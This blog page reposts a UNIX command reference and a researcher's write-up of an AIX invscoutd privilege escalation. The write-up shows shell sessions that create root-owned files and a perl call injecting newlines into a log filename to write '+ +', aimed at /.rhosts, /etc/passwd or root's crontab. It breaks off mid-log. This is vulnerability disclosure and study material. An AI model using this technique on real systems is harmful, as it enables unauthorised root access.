本站首页    管理页面    写新日志    退出


«September 2025»
123456
78910111213
14151617181920
21222324252627
282930


公告

数据仓库&数据挖掘

  对某一件事需要坚持方能真正完成这件事

            薛 峰  

           2009.02.03


我的分类(专题)

日志更新

最新评论

留言板

链接

Blog信息
blog名称:数据仓库与数据挖掘
日志总数:85
评论数量:14
留言数量:0
访问次数:723026
建立时间:2005年3月17日




[综合]UNIX系统操作命令
文章收藏

薛 峰 发表于 2006/1/16 10:42:17

UNIX系统操作命令 作者:佚名 来源:InterNet 加入时间:2005-2-15 第一章  登录和退出


    用户在登录前,首先要向系统管理员申请一个用户注册名,不论用户从哪台计
算机登录到ITPNET上都将访问相同的文件系统。

1.1 登录
    当屏幕上出现Login提示符时,用户可以输入自己的用户注册名,并按回车键。
若有口令,系统将提示用户输入密码,并按回车键,口令输入正确后,用户登录成
功。这时,屏幕上会显示出一些信息和命令提示符。如:
    Login: guest [Enter]
    passwd: ******  [Enter]
    sun%
注: 用户名要用小写字母输入,UNIX系统区分大小写字母。

1.2 退出
    当用户准备退出自己的计算机帐号时,可在系统示符下输入logout或exit或按
[Ctrl-D]。当屏幕出现Login时,用户可以安全地离开计算机了。如:
    sun% logout [Enter]
    Login:

1.3 修改口令
    为了防止他人使用自己的帐号,在你首次登录后,请用passwd命令修改只有本
人知道的保密口令,口令通常由此可6到8个字母数字组成。如:
    sun% passwd [Enter]
    Old Passwd: ******
    New Passwd: ******
    Retype New Passwd: ******
注:当你退出系统再次登录时,就要使用新的口令。


第二章  目录操作命令


2.1 显示目录
    命令:pwd(print working directory)
    格式:pwd
    功能:显示出用户当前工作目录的全路径名。
    例如:% pwd

2.2 建立目录
    命令:mkdir(make directory)
    格式:mkdir directory_name
    功能:建立新目录
    例如:% mkdir directory

2.3 改变目录
    命令:cd(change directory)
    格式:cd directory_name
    功能:改变当前工作目录
    注释:目录名选项有:
      (1) 目录名,转到当前目录下的子目录。
      (2) .. 表示转到当前目录的父目录。
      (3) /  表示转到根目录。
      (4) 没有选项时,转到用户的主目录。
    例如:% cd directory

2.4 删除目录
    命令:rmdir (remove directory)
    格式:rmdir directory_name
    功能:删除不存在文件的子目录名。
    注释:
      (1) 删除子目录时,要求被删除的目录中不存在文件或子目录,否则无法删除。
      (2) 若被删除的目录中有文件或子目录,请参考命令rm -r directory_name。
   例如:% rmdir directory


第三章  文件操作命令


3.1 列出文件目录
    命令:ls (list)
    格式:ls [option] directory_name
    功能:列出指定目录中的文件名和子目录名。当无子目录名时,列出当前目录
          中的文件名和子目录名。
    选项:-a列出所有文件,包括以点开头的隐含文件。
          -l按长格式列出文件名,包括文件类型标识,权限,链接数,文件主名,
            文件组名,字节数,日期。
          -r列出包括子目录下所有文件
          -g在长格式中给出用户组的标识。
          -t安文件生成日期排序。
    例如:% ls -la

3.2 显示文件内容
    命令:cat (catenae)
    格式:cat filename
    功能:显示出文件的内容。
    注释:当文件内容在屏幕上滚动显示时,可按Ctrl+S键屏幕滚暂停,按Ctrl+Q
          键继续显示。
    例如:% cat filename
   
3.3 按屏幕显示文件内容
    命令:more
    格式:more filename
    功能:按屏幕一屏一屏显示出文件内容
    选项:
    注释:在屏幕显示过程中有功能键。空格键 继续下一屏的输出;回车键 看下
          一行的输出;q键 跳出more状态;/字符串 查旬字符串所在处;a键 返
          回到上一屏。
    例如:% more filename

3.4 分页显示文件内容
    命令:pg (page)
    格式:pg [option] filename
    功能:分页显示指定文件的内容。在显示一页文件时,最后一行将显示等待用
          户输入指令。可输入的指令有如下选项。
    选项:h          显示pg命令中可使用的帮助(help)命令。
          q          退出pg命令。
          [return]   显示下一页正文。
          1          显示正文的下一行
          [Space]    显示下一页
          d/[Ctrl-D] 将屏幕滚动半屏。
          n          显示pg命令行中说明的下一个文件。
          p          显示pg命令行中说明的前一个文件。
          %          显示正文当前页的前面一页。
          /pattern   在文件中向前搜索指定的字符模式。
          ?pattern   在文件中向后搜索指定的字符模式。
    注释:当pg命令显示到文件的末尾时,显示一个文件结束信息EOF(end of file)。
    例如:% pg filename

3.5 读文件
    命令:view
    格式:view filename
    功能:只能读出文件内容。
    注释:此命令不能对读出的原文件进行写操作。若对原文件进行了修改,可利
          用命令“:w newfilename”将修改后的文件写到新文件中。
    例如:% view filename

3.6 显示文件头部
    命令:head
    格式:head [option] filename
    功能:显示文件的头部
    选项:缺省  显示文件的头10行。
          -i    显示文件的开始 i行。
    例如:% head filename

3.7 显示文件尾部
    命令:tail
    格式:tail [option] filename
    功能:显示文件的尾部
    选项:缺省  显示文件的末10行。
          -i    显示文件最后 i行。
          +i    从文件的第i行开始显示。
    例如:% tail filename

3.8 显示格式化的文件内容
    命令:pr (print)
    格式:pr filename
    功能:在屏幕上显示格式化的文件内容,即印出每页66行的文本文件,包括5
          行页头和5行页尾。页头包括两行空行,一行含有文件的时间、文件名
          和页号,另外两行为空行。页尾为5行空行。
    例如:% pr filename

3.9 拷贝文件
    命令:cp (copy)
    格式:cp [option] filename1 filename2
          cp [option] filename... directory
          cp -r directory1 directon2
    功能:把一个文件的全部内容拷贝到另一个文件,也可将一个或多个文件拷贝
          到另一个目录中。
    选项:-i 按提示进行拷贝文件。
          -p 按原文件日期进行拷贝。
          -r 对子目录下所有文件进行拷贝。
    注释:当filename1拷贝到filename2时,若filename2已经存在,则filename2
          的内容将被filename1覆盖。
    例如:% cp filename1 filename2

3.10移动文件或文件改名
    命令:mv (move)
    格式:mv filename1 filename2
          mv filename... direction
          mv direction1 direction2
    功能:改变文件或目录的名子,或把一些文件移到另一目录下。
    注释:当filename1更名为filename2时,若filename2已经存在,则filename2
          的内容将被filename1覆盖
    例如:% mv filename1 filename2

3.11删除文件
    命令:rm (remove)
    格式:rm filename
          rm -r direction
    功能:删除指定的文件或一个目录中的文件。
    注释:用-r选项时,将删除指定目录的所用文件,包括目录名。
    例如:% rm filename

3.12链接文件
    命令:ln (link)
    格式:ln [option] filename linkname
          ln [option] directory pathname
    功能:为文件或目录建立一个链。其中,filename和directory是源文件名和
          源目录名;linkname和pathname分别表示与源文件或源目录名相链接的
          文件或目录。
    选项:-s  为文件或目录建立符号链接。
    注释:链接的目地在于,对一个文件或目录赋予两个以上的名字,使其可以出
          现在不同的目录中,既可以使文件或目录共享,又可以节省磁盘空间。
    例如:% ln -s filename linkname

3.13改变文件读取权限
    命令:chmod (change mode)
    格式:chmod {u|g|o|a}{+|-|=}{r|w|x} filename
          chmod [who][op][mode] directory
    功能:改变文件的读写和执行权限。有符号法和八进制数字法。
    选项:(1)符号法:
          u (user)   表示用户本人。
          g (group)  表示同组用户。
          o (oher)   表示其他用户。
          a (all)    表示所有用户。
          +          用于给予指定用户的许可权限。
          -          用于取消指定用户的许可权限。
          =          将所许可的权限赋给文件。
          r (read)   读许可,表示可以拷贝该文件或目录的内容。
          w (write)  写许可,表示可以修改该文件或目录的内容。
          x (execute)执行许可,表示可以执行该文件或进入目录。
          (2)八进制数字法:
          此方法用三位八进制数作任选项,每位数字分别表示用户本人、同组用
          户、其他用户的权限,其中:
          4 (100)    表示可读。
          2 (010)    表示可写。
          1 (001)    表示可执行。
    注释:
    例如:% chmod a+rx filename
            让所有用户可以读和执行文件filename。
          % chmod go-rx filename
            取消同组和其他用户的读和执行文件filename的权限。
          % chmod 741 filename
            让本人可读写执行、同组用户可读、其他用户可执行文件filename。

3.14改变文件所有权
    命令:chown (change owner)
    格式:chown username filename
          chown -R username directory
    功能:改变文件或目录的所有权。
    选项:-R 将改变目录中所有文件及目录的拥有者。
    注释:只有文件的主人和超级用户才能改变文件的所有权。
    例如:% chown username filename

3.15寻找文件
    命令:find
    格式:find pathname [option] expression
    功能:在所给的路经名下寻找符合表达式相匹配的文件。
    选项:-name     表示文件名
          -user     用户名,选取该用户所属的文件
          -group    组名,选取该用户组属的文件
          -mtime n  选取n天内被修改的文件
          -newer fn 选取比文件名为fn更晚修改的文件
    注释:
    例如:% find . -name '*abc*' -print

3.16搜索文件中匹配符
    命令:grep
    格式:grep [option] pattern filenames
    功能:逐行搜索所指定的文件或标准输入,并显示匹配模式的每一行。
    选项:-v 找出模式失配的行
          -c 统计匹配行的数量
          -n 显示匹配模式的每一行
    注释:
    例如:% ps -aux | grep R

3.17比较文件不同
    命令:diff (difference)
    格式:diff filename1 filename2
    功能:显示两文件的不同之处。
    选项:
    注释:
    例如:% diff file1 file2

3.18比较文件
    命令:cmp (compare)
    格式:cmp [-l] [-s] filename1 filename2
    功能:显示比较两文件不同处的信息
    选项:-l 给出两文件不同的字节数
          -s 不显示两文件的不同处,给出比较结果
    注释:
    例如:% cmp file1 file2

3.19比较文件共同处
    命令:comm (common)
    格式:comm [-123] filename1 filename2
    功能:选择或拒绝比较两文件出现的共同行
    选项:-1 不显示第1列
          -2 不显示第2列
          -3 不显示第3列
    注释:输出三列,第一列表示在file1中出现的行,第二列表示在file2中出现
          的行,第三列表示在file1和file2中共同出现的行。
    例如:% comm file1 file2

3.20排序文件
    命令:sort
    格式:sort [option] filename
    功能:将制定的文件按要求排序
    选项:-r 按字母倒排序
          -n 按数字的值从笑到大排序
          -r 按当前排序规则逆序排序
          -f 不区分大小写排序
          -d 按典型顺序排序
    注释:选项缺省时按ascii码顺序排序
    例如:% sort -nr file

3.21压缩文件
    命令:compress
    格式:compress [option] filename
    功能:压缩文件。
    选项:-f 强制压缩
          -v 压缩时显示压缩百分比
    注释:
    例如:% comproess files

3.22解缩文件
    命令:uncompress
          zcat
    格式:compress [option] filename
          zcat filename
    功能:展开或显示压缩文件。
    选项:-c 不改变文件写到标准输出
    注释:zcat命令相当于uncompress -c
    例如:% uncomproess files.Z


3.23显示文件类型
    命令:file
    格式:file filename ...
    功能:按文件内容来推测文件类型,如text,ascii,C,executable,core。
    选项:
    注释:
    例如:% file *

3.24建立档案文件
    命令:tar (tape archive)
    格式:tar [option] tarfile filename
    功能:建立文件的存档或读存档文件。
    选项:-c 建立一个新的档案文件
          -x 从档案文件中读取文件
          -v 显示处理文件的信息
          -f 指定档案文件名,缺省时为磁带机即/dev/rmt/0
          -t 列出存档文件的信息
    注释:
    例如:% tar cvf tarfile .
          % tar xvf tarfile
          % tar tvf tarfile

3.25磁带拷贝文件
    命令:dd
    格式:dd [option=value]
    功能:用磁带机转换或拷贝文件。
    选项:if=name 指定输入文件名
          of=name 指定输出文件名
          ibs=n   指定输入文件块大小为n字节(缺省为512字节)
          obs=n   指定输出文件块大小为n字节(缺省为512字节)
    注释:
    例如:% dd if=filename of=/dev/rmt/0
          % dd if=/dev/rmt/0 of=filename ibs=1024

3.26修改文件日期
    命令:touch
    格式:touch filenae
    功能:改变文件的日期,不对文件的内容做改动,若文件不存在则建立新文件。
    选项:
    注释:
    例如:% touch file

3.27统计文件字数
    命令:wc (word characters)
    格式:wc [option] filename
    功能:统计文件中的文件行数、字数和字符数。
    选项:-l 统计文件的行数
  -w 统计文件的字数
  -c 统计文件的字符数
    注释:若缺省文件名则指标准输入
    例如:% wc file

3.28检查拼写
    命令:spell (spelling)
    格式:spell [option] filename ...
    功能:检查文件中的拼写错误
    选项:-b 按英国拼法检查
          -v 显示字面上不在拼法字典上的词
          -x 显示每一个可能合理的词根
    注释:
    例如:% spell file


第四章  有关状态信息命令


4.1显示当前注册的用户
    命令:w
    格式:w [option] [username]
    功能:显示当前正在使用系统的用户名、注册时间和当前执行的命令。
    选项:-h 不显示起始行
          -s 按短格式显示
          -l 按长格式显示(缺省设置)
    注释:
    例如:% w

4.2 显示都谁登录到机器上
    命令:who
    格式:who
    功能:显示当前正在系统中的所有用户名字,使用终端设备号,注册时间。
    例如:% who

4.3 显示当前终端上的用户名
    命令:whoami
    格式:whoami
    功能:显示出当前终端上使用的用户。
    例如:% whoami

4.4 确定命令位置
    命令:whereis
    格式:whereis command
    功能:确定一个命令的二进制行码、源码及联机手册所在的位置。
    选项:
    注释:
    例如:% whereis ls

4.5 查找非标准命令
    命令:which
    格式:which command
    功能:查找非标准命令,即使用别名或系统中标准命令集之外的命令。
    选项:
    注释:
    例如:% which ls

4.6 显示日期
    命令:date
    格式:date
    功能:显示或设置日期和时间。
    选项:
    注释:只有超级用户有权设置日期。
    例如:% date

4.7 显示日历
    命令:cal (calendar)
    格式:cal [month] year
    功能:显示某年内指定的日历
    选项:
    注释:
    例如:% cal 1998

4.8 计算命令执行时间
    命令:time
    格式:time [command]
    功能:计算程序或命令在执行其间所用的时间。
    选项:
    注释:计算出的时间为:real是命令在系统驻留的总时间,user是命令消耗CPU
          的时间,sys是命令I/O所开销的时间。
    例如:% time myprog

4.9 查询帐目
    命令:acseek (account seek)
    格式:acseek [-d n] [-m usersname]
    功能:查询本月的用户帐目。
    选项:-d n
          -m username
    注释:若没有选项,则显示本人当月的帐单。
    例如:% acseek

4.10显示用户标识
    命令:id
    格式:id [option] [user]
    功能:显示用户标识及用户所属的所有组。
    选项:-a 显示用户名、用户标识及用户所属的所有组
    注释:
    例如:% id username

4.11显示主机标识
    命令:hostid
    格式:hostid
    功能:显示主机的唯一标识,是被用来限时软件的使用权限,不可改变。
    选项:
    注释:
    例如:% hostid

4.12显示主机名
    命令:hostname
    格式:hostname
    功能:显示或设置主机名。
    选项:
    注释:只有超级用户才能设置主机名。
    例如:% hostname

4.13显示进程
    命令:ps
    格式:ps [option]
    功能:显示系统中进程的信息。包括进程ID、控制进程终端、执行时间和命令。
    选项:-a 列出当前系统中所有进程的信息
          -l 显示一个长列表
          -e 显示当前运行的每一个进程信息
          -f 显示一个完整的列表
    注释:
    例如:% ps -ef

4.14显示磁盘空间
    命令:df (disk free)
    格式:df [option]
    功能:显示磁盘空间的使用情况,包括文件系统安装的目录名、块设备名、总
          字节数、已用字节数、剩余字节数占用百分比。
    选项:-i 显示已用和未用的字节数
          -k 显示磁盘空间的使用信息
    注释:
    例如:% df -k

4.15显示文件盘空间
    命令:du (disk usage)
    格式:du [option] [filename]
    功能:显示目录或文件所占磁盘空间大小
    选项:-a 显示所有文件的大小
          -s 显示制定目录所占磁盘大小
    注释:
    例如:% du

4.16显示盘空间限制
    命令:quota
    格式:quota -v [username]
    功能:显示用户的磁盘空间限制和使用情况。包扩盘空间的限额和已使用数,
          允许建立的节点数限额和使用节点数。
    选项:-v 查看用户在系统中的盘空间
    注释:只有超级用户可以显示任何用户的使用情况,用edquota命令可修改。
    例如:% quota -v

4.17显示终端选项
    命令:stty
    格式:stty [option]
    功能:显示或设置终端的任选项。
    选项:-a 显示所有设置情况
          -g 显示当前设置
    注释:
    例如:% stty -a

4.18显示终端名
    命令:tty
    格式:tty
    功能:显示终端名
    选项:
    注释:
    例如:% tty

4.19回忆命令
    命令:history
    格式:history
    功能:帮助用户回忆执行过的命令。
    选项:
    注释:
    例如:% history

4.20联机帮助手册
    命令:man (manual)
    格式:man command_name
    功能:显示参考手册,提供联机帮助信息。
    选项:
    注释:-k 按制定关键字查询有关命令
    例如:% man tar

4.21建立别名
    命令:alias
    格式:alias newname name
    功能:用户可以将常用的命令用自己习惯的名称来重新命名。
    选项:
    注释:
    例如:% alias dir 'ls -F'


第五章  网络命令


5.1显示网络地址
    命令:arp
    格式:arp hostname
    功能:显示系统当前访问的远程住机名、IP地址和硬件地址。
    选项:-a
    注释:
    例如:% arp -a

5.2 显示用户信息
    命令:finger
    格式:finger username
    功能:显示网上用户使用机器的情况,包括用户何时登录和最后一次注册记录。
    选项:
    注释:
    例如:% finger username

5.3 网上对话
    命令:talk
    格式:talk username
    功能:在网上与另一用户进行对话。
    选项:
    注释:对话时系统把终端分为上下两部分,上半部显示自己键入信息,下半部
          显示对方用户键入的信息。键入delete或Ctrl+C则结束对话。
    例如:% talk username

5.4 允许或拒绝接受信息
    命令:mesg (message)
    格式:mesg [n/y]
    功能:允许或拒绝其它用户向自己所用的终端发送信息。
    选项:n 拒绝其它用户向自己所用的终端写信息
          y 允许其它用户向自己所用的终端写信息(缺省值)
    注释:
    例如:% mesg n

5.5 给其他用户写信息
    命令:write
    格式:write username [ttyname]
    功能:给其他用户的终端写信息。
    选项:
    注释:若对方没有拒绝,两用户可进行交谈,键入EOF或Ctrl+C则结束对话。
    例如:write username

5.6 测试网路
    命令:ping
    格式:ping hostname
    功能:向网络上的主机发送ICMP ECHO REQUEST信息包,检测网络是否畅通。
    选项:
    注释:被测试的主机名可用IP地址。当丢包率为(100% packet loss)则说明
          当前网络不通。
    例如:% ping hostsname

5.7 远程shell命令
    命令:rsh (remote shell)
    格式:rsh hostsname command
    功能:在本地机执行远程主机的shell命令。
    选项:
    注释:
    例如:% rsh hostname who

5.8 远程考贝文件
    命令:rcp (remote copy)
    格式:rcp [-r] file newfile
    功能:拷贝远程主机上的文件。
    选项:-r 拷贝目录
    注释:
    例如:% rcp hostname:/tmp/file .

5.9 远程注册
    命令:rlogin (remote login)
    格式:rlogin hostname [-l username]
    功能:注册到远程主机上。
    选项:-l username 注册到另一用户
    注释:要有用户口令才能注册。
    例如:% rlogin hostname

5.10 远程登录
    命令:telnet
    格式:telnet hostname
    功能:远程登录到网上其它主机。
    选项:
    注释:支持不同的操作系统。
    例如:% telnet bbs.tsinghua.edu.cn

5.11文件传输
    命令:ftp (file transfer program)
    格式:ftp hostname
    功能:网络文件传输及远程操作。
    选项:ftp命令:
           ?/help        ftp的联机帮助
           open hostname 打开制定的远程机
           cd [dirname]  进入远程机的目录
           lcd [dirname] 设置本地机的目录
           dir/ls        显示远程的目录文件
           binary        以二进制方式进行传输
           get/mget      从远程机取一个或多个文件
           put/mput      向远程机送一个或多个文件
           prompt        打开或关闭多个文件传送时的交互提示
           close         关闭与远程机的连接
           quit          退出ftp
    注释:
    例如:% ftp hostname

5.12显示到网络主机的路经
    命令:traceroute
    格式:traceroute hostname
    功能:显示本机到达某一网络主机所经的路经和使用的时间。
    选项:
    注释:
    例如:% traceroute hostname


第六章  Mail命令


6.1 发送或接受电子邮件
    命令:mail/Mail/mailx
    格式:mail username (发送)
          mail [option] (接受)
    功能:向网上用户发送或接受电子邮件。
    选项:-r 邮件按先进先出顺序排序。缺省时为后进先出顺序排序
          -q 中断mail后不改变信箱内容
          -p 显示mail每份邮件,不显示提示信息
          -f 从邮件格式文件中读邮件
    注释:mail命令:
          ?        显示mail帮助命令
          h        邮件标题列表
          p        显示当前邮件
          n        显示下一邮件
          r [uers] 给发信人或用户回信
          s [file] 将邮件保存到文件中,保存标题信息
          w [file] 将邮件写到文件中,不保存标题信息
          d [n]    删除当前邮件或第n封邮件   
          q        将未删除的邮件存入mbox文件,并退出mail
          x        所有邮件不作修改,退出mail
    例如:% mail -s "Subjet ..." username < messages

6.2 显示邮件队列
    命令:mailq
    格式:mailq
    功能:查看正在发送或接收邮件的排队情况。
    选项:
    注释:此命令一般在系统或网络不同时使用。
    例如:% mailq

6.3 邮件操作命令
    命令:pine
    格式:pine
    功能:对自己邮件操作的程序。
    选项:
    注释:此操作是在菜单提示下进行。
    例如:% pine


第七章  运行程序命令


7.1 按时间执行命令
    命令:at/batch
    格式:at [option] [time] [data] [file]
    功能:在制定的时间执行命令或命令文件。
    选项:-r 取消以前用at命令提交的作业
          -l 显示用at命令提交的所有作业状态和作业号
    注释:
    例如:at 0030 Jan 20 myfile

7.2 参数回至标准输出
    命令:echo
    格式:echo [-n] [arguments]
    功能:将参数即字符串至标准输出即显示器
    选项:-n 不向标准输出回送换行符
    注释:
    例如:echo *

7.3 复制至文件
    命令:tee
    格式:tee [option] filename
    功能:至标准输出的同时复制至文件
    选项:-a 输出时附加到文件中
          -i 不理采中断
    注释:
    例如:% who | tee file

7.4 给程序优先级
    命令:nice
    格式:nice [-n] command 
    功能:以低的优先级运行程序或命令。
    选项:-n 为优先级0-20从高到低
    注释:
    例如:nice -5 progame

7.5 终止进程
    命令:kill
    格式:kill [option] pid
    功能:向指定的进程送信号或终止进程。
    选项:-9  强行终止进程
          -17 将进程挂起
          -19 将挂起的进程激活
    注释:pid标示进程号,可由ps命令得到。
    例如:% kill -9 pid

7.6 进程睡眠
    命令:sleep
    格式:sleep time
    功能:使当前正在执行的进程在规定的时间内处于睡眠。
    选项:
    注释:time为进程将睡眠的时间,以秒为单位。
    例如:% sleep time

7.7 显示作业状态
    命令:jobs
    格式:jobs [-l]
    功能:显示当前作业的状态
    选项:-l 长列表显示作业状态,包括所有者、作业号、终端和状态。
    注释:作业状态为 +表示最近被停止的作业,-表示先前的作业,exit 1表示
          退出的作业,job# done表示已完成的作业。
    例如:% jobs

7.8 前台作业
    命令:fg
    格式:fg job#
    功能:将指定作业号的作业转入前台运行。job#表示作业号。
    选项:
    注释:
    例如:% fg job#

7.9 后台作业
    命令:bg/&
    格式:bg job#
          command &
    功能:将指定作业号的作业或命令推到后台运行。
    选项:
    注释:
    例如:% bg job#

7.10挂起作业
    命令:stop
    格式:stop job#
    功能:将指定作业号的后台作业挂起.
    选项:
    注释:
    例如:% stop job#


第八章  程序编译执行命令


8.1 C程序编译
    命令:cc
    格式:cc [option] filename
    功能:编译或链接指定的C文件。
    选项:-o  指定输出文件名,缺省时为a.out
          -c  只编译,产生.o的目标文件
          -g  产生用于符号测试的执行文件
          -lm 进行连接cc数学库
          -O  进行代码的一般优化
          -O2 二级优化
    注释:C编译器参考手册可用命令man cc查看。
    例如:% cc -o test test.c

8.2 C++程序编译
    命令:CC
    格式:CC [option] filename
    功能:编译或链接指定的C++文件。
    选项:同C编译选项
    注释:C++编译器参考手册可用命令man CC查看。
    例如:% CC -O2 test.cc

8.3 FORTRAN77程序编译
    命令:f77
    格式:f77 [option] filename
    功能:编译或链接指定的Fortran文件
    选项:-o  指定输出文件名,缺省时为a.out
          -c  只编译,产生.o的目标文件
          -g  产生用于符号测试的执行文件
          -O0 不进行代码优化
          -O1 尽快进行代码优化
          -O2 二级优化
          -O3 三级优化
    注释:FORTRAN77编译器参考手册可用命令man f77查看
    例如:% f77 -c test.f

8.4 FORTRAN90程序编译
    命令:f90
    格式:f90 [option] filename
    功能:编译或链接指定的Fortran90文件
    选项:同FORTRAN77编译选项
    注释:FORTRAN90编译器参考手册可用命令man f90查看
    例如:% f90 -O -o test test.f

8.5 GNU程序编译
    命令:gcc      (GNU C)
          g++/c++  (GNU C++)
          g77      (GNU FORTRAN77)
    格式:gcc [option] filename
          g++ [option] filename
          g77 [option] filename
    功能:编译或链接指定的编译文件。
    选项:-o  指定输出文件名,缺省时为a.out
          -c  只编译,产生.o的目标文件
          -O  进行代码的一般优化
          -O2 二级优化
    注释:GNU编译器参考手册可进入emacs中info菜单下查看。
    例如:% gcc -o test test.c

8.6 运行文件
    格式:a.out
          filename
    功能:源程序经编译后产生目标代码文件,放在a.out文件或指定输出文件名。


阅读全文(7330) | 回复(0) | 编辑 | 精华 | 删除
 


[综合]AIX捉虫记之__invscoutd
文章收藏,  网上资源

薛 峰 发表于 2005/12/31 11:06:00

   推荐原创  Foxmail 5远程缓冲区溢出漏洞
国内网络安全风险评估市场与技术操作
SMB的NTLM认证过程与NTLM挑战的编程实现
WINDOWS NT/2000 密码到散列的实现算法
一种新的File Stream Overflows(FSO)
AIX捉虫记之__invscoutd
创建时间:2004-06-04
文章属性:原创
文章提交:watercloud (watercloud_at_xfocus.org)

AIX捉虫记
                              
                              之invscoutd





本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy),
整理了一下加了点注释,和有兴趣的朋友分享 :)

[ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]


时间:2003-5-3日
天气:晴,万里无云的天空飘着几朵小小的白云

今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令
等都有了,今天继续……

平台信息:
-bash-2.05b$ oslevel
5.1.0.0
-bash-2.05b$ oslevel -r
5100-01


按八字排列今天应该考查invscoutd命令了
-bash-2.05b$ ls -l /usr/sbin/invscoutd
-r-sr-xr-x   1 root     system       217868 Aug 03 2001  /usr/sbin/invscoutd
  
   |
   +------考查理由? 需要么?谁叫他带了这个s位!


首先了解一下这个命令是哪个道上混的~
-bash-2.05b$man invscoutd          
…………
The invscoutd command implements a permanent Inventory Scout server daemon on
one machine in a user's local network. The usual client is a Java applet running
in the user's Web browser, which was downloaded from a central Inventory Scout
CGI application.
…………

赖着性子看完,瞌睡ing ...

再来看看这个命令的长相:
-bash-2.05b$ invscoutd          
invscoutd: Missing log file name.
Inventory Scout Daemon 2.0.2.  @@@ CAT VERSION @@@
USAGE: invscoutd [options] logfile                           <-- 还写日志文件的说。
logfile  Append status and err msgs.  '-' means write to stderr.
-o       Overwrite preexisting log file instead of append.  <-- 还可以覆盖已有文件的说~
-pN      Change port number to N from default 808.          <-- 默认监听在808端口
-bN      Change read buffer size to N from default 1024.
-dN      Change max logic db file size to N from default 50000.
-tN      Change timeout period to N seconds from default 30 seconds.
-vN      Change verbosity level to N from default 18,  <--支持交互级别,级别越高记录信息应该越详细
          25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.

依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关,
就先考查一下他的这个日志文件吧 ~~~


-bash-2.05b$ ls -l /tmp/bb
ls: 0653-341 The file /tmp/bb does not exist.

-bash-2.05b$ invscoutd /tmp/bb    
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb
-bash-2.05b$ ls -l /tmp/bb
-rw-r--r--   1 root     staff           270 May 03 03:54 /tmp/bb

哇噻~~,权限果然有问题!!日志文件是root所有的说!!
睡意全无,立刻就清醒了!


有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的
-bash-2.05b$ id
uid=203(cloud) gid=1(staff)

看来没错,是个漏洞,那我能利用这个漏洞做什么呢??
想想……

至少可以把系统重要配置文件破坏掉吧,哈哈……

再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件),
我们可以用这个漏洞创建这个文件,要是之前执行一次
umask 000
创建的文件我们就有修改权限了 ^_^

这样我们就可以任意改写文件内容了,如:/.rhosts中加一行
+ +

可惜r系列服务使用.rhosts时会对文件属性进行检查:
如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败!

看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~

我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~

回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容,
那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改
/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件
把自己变为root了吗?



赶紧来看看日志文件里写了什么内容:
-bash-2.05b$ cat /tmp/bb
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=17028
  flog=/tmp/bb

里面好像就flog=/tmp/bb和输入有关。

再试试,看这个问题能不能重现.

-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968056.

看来还得先杀掉老的进程才能再试。

-bash-2.05b$ ps -ef |grep invs
   cloud 15526     1   0 04:36:25  pts/0  0:00 invscoutd ./aa
   cloud 16068 16836   1 04:37:50  pts/0  0:00 grep invs
-bash-2.05b$ kill -9 15526

看看刚才出错记录到log文件了没?
-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.

没有的说。


我再试试,我非要重现一次才放心.
-bash-2.05b$ invscoutd ./aa
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=15526
  flog=./aa

-bash-2.05b$ ls -l ./aa
ls: 0653-341 The file ./aa does not exist.
咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。

这次学乖了,先杀掉进程。
-bash-2.05b$ ps -ef |grep invsc
   cloud 14194 15338   3 03:55:29  pts/0  0:00 grep invsc
   cloud 17028     1   0 03:54:37  pts/0  0:00 invscoutd ./aa
-bash-2.05b$ kill -9 17028

…………

经测试,果然能重现,放心了~~



想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权,
都必须要能完整的控制一行写入文件的内容,日志中能控制的是:
  flog=输入文件名
部分,那面文件名中带换行符就可以控制一行的内容了,如:
aaaa\n完整的一行\naaaa这种形似的文件名。
想了就做.


但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数,
刚好以前学的perl派上了用场 ^_*
用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd",
看看能不能产生一个单独的一行记录内容
+ +

-bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
  p=808 u=0 v=18 t=30 d=50000 pid=16282
  flog=/tmp/bbbbb
+ +
ddd
-bash-2.05b$ cat /tmp/bbbbb*
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0
